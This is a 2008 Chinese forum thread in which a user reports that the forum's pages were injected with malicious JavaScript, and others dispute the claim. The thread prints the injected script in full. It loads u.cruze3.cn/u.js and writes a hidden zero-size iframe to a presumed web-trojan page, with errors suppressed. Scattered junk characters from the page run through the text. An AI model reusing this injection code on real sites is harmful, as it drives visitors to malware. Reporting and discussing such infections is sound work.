此网被挂马

czy12

马:Hack.Exploit.Script.JS.Mixed.c

1. <script language="javascript" SRC="  ' target=_blank>http://u.cruze3.cn/u.js"></script>
   
2. 
   
3. document.writeln("<script>";
   ) W' P) M2 q1 ^7 R% V$ d8 H
4. document.writeln("function oK_Begin(){";
   # I4 E. Y" v) u3 I& ]. [
5. document.writeln("var Then = new Date() ";
   " N& P: M& {( A1 d6 x/ A
6. document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)";
   
7. document.writeln("var cookieString = new String(document.cookie)";
   3 n/ D+ o2 C; z9 x* h' H" Q, A
8. document.writeln("var cookieHeader = "Cookie1=" ";
   
9. document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)";
   
10. document.writeln("if (beginPosition != -1){ ";
    3 r. B" x$ O; Q- j4 b
11. document.writeln("} else ";
    & A, q9 ?4 ?$ @, t/ U0 g! b
12. document.writeln("{ document.cookie = "Cookie1=POPWINDOS;expires="+ Then.toGMTString() ";
    
13. document.writeln("document.write(\'<iframe width=0 height=0 src="\'">http://u.cruze3.cn/u.htm"><\/iframe>\');";
    ! N; a# ~) J0 k9 ]2 O+ |9 V# N
14. document.writeln("}";
    - T3 Q$ X0 l; V% i, e- o, V
15. document.writeln("}";
    
16. document.writeln("oK_Begin();";
    
17. document.writeln("<\/script>";
    4 H1 Z. q9 F: j, Q( r3 E5 \
18. document.writeln("<script>window.onerror=function(){return true;}<\/script>"
    - ^6 p5 ?9 G0 w. P5 ?
19. 
    
20. 
    
21. 
    
22. 
    
23. 
    5 |4 q* R' A2 [' J) R* y

复制代码

虽然从表面上去看是个恶意代码,但里面可能包含马,试图打开此网页u.htm,而此网页可能是网页木马

19720205

请管理员确认是否网页挂马?

cayuer

我的麦咖啡都没检测出来 你什么杀毒软件？

czy12

不是杀软件查的.
6 j" E* N0 ^4 v/ {" @只是无意中去看了源文件,感觉网头中的u.js很是反常(按常理说,很少在HEAD前,且根目录并是是此网站,于是,下载了u.js,发现不对头.它试图以最小化打开U.HTM网页,按平时的经验,它不是毒就是马,很少有人会在论坛上放毒,一般多是放马.
5 i3 N' C8 @( S; K  q; s3 R不过,已经被清理了.
1 g$ m! F5 t3 S) K+ h  G
HEHE只是没有礼貌

9 v( w$ i- u! q1 u+ `[ 本帖最后由 czy12 于 2008-11-26 16:25 编辑 ]

江南有雪

你这个什么网站，哪里出来的？

, [) l' ]. k* {- ]  e) @ht tp://u.cruze3.cn/u.js

czy12

http://u.cruze3.cn/u.js
; Y/ x- m/ g* |+ M  i' e6 U5 s" S此网是个挂马网,是不可能看到的(他才不会那么笨,HEHE),一般都通过本地IIS进行域名转向.
这是昨天我想看别的网页的源文件时,无意中点了此网页的源文件,才发现不对头.
% J0 O/ A! h& X, a* x3 f2 F+ LHEHE

wwqq

这跟三维有什么关系？

czy12

这是挂在三维网论坛里的.
' M0 Q6 S& Q6 A( u; a: X: P红线所指

huang_baker

奇怪，为什么我的里面没有？是不是楼主的机器自己带病毒了？

小雪

自己的机子中毒了，就不要满天喊叫了，没人会认为你是一个杀毒的行家

czy12

不学无术.
HEHE

yyywwwhk

但在:
http://www.3dportal.cn/discuz/ 之原始檔
/ s' h6 E0 F+ H# S  e/ ^4 {1 a  q. i似乎看不见楼主所说的 http://u.cruze3.cn/u.js
  q8 D! c# I+ f. N8 k
* Z  G  o# s. ]( D2 y% w[ 本帖最后由 yyywwwhk 于 2008-11-27 16:23 编辑 ]

新洁电子

经过自编扫描代码处理结果，未发现楼主说的挂马代码！
1 }) Z5 p" O# e3 G. N2 g
请清理自己计算机的缓冲区！

college

看您的尾符/script，很像是U盘病毒。

czy12

DZ6.1有代码自我修复功能。甚至可以在服务程序中设置定时还原数据库。
我也说了：已修复。
, I7 A! N* ^' c* [
ps:这与缓存毫无关系。虽然缓存中有U.JS.
# B7 Y/ B; _0 C% l# D' ~9 S/ \但本机上的毒是不会去改动你的网页内容的.我的机子中毒,和你的网页源代码有何相关?

) V9 G7 l" y# r! Qscript是个JAVA代码,与U盘何关?

HEHE
+ F  \( L" Y% x/ A* x
# N, F8 A7 R9 U4 A[ 本帖最后由 czy12 于 2008-11-27 16:03 编辑 ]

新洁电子

非也，代码是程序直接采样的当时的网页代码，是自编的，算不上权威，但是可以直接进入部分加密网站！
5 v4 n+ q0 _+ \* P$ p6 z
) \: d. t* L0 @) Y) D如果却如你说的修改了，我想，这只有论坛管理员有这个权限，即便是后台也是有记录的。假如确实是论坛后台修改了，一定会给大伙一个说法的。

相反，目前从各方面提供的代码显示，确实“此时此刻”是正常的！至于继续讨论已经无大的价值！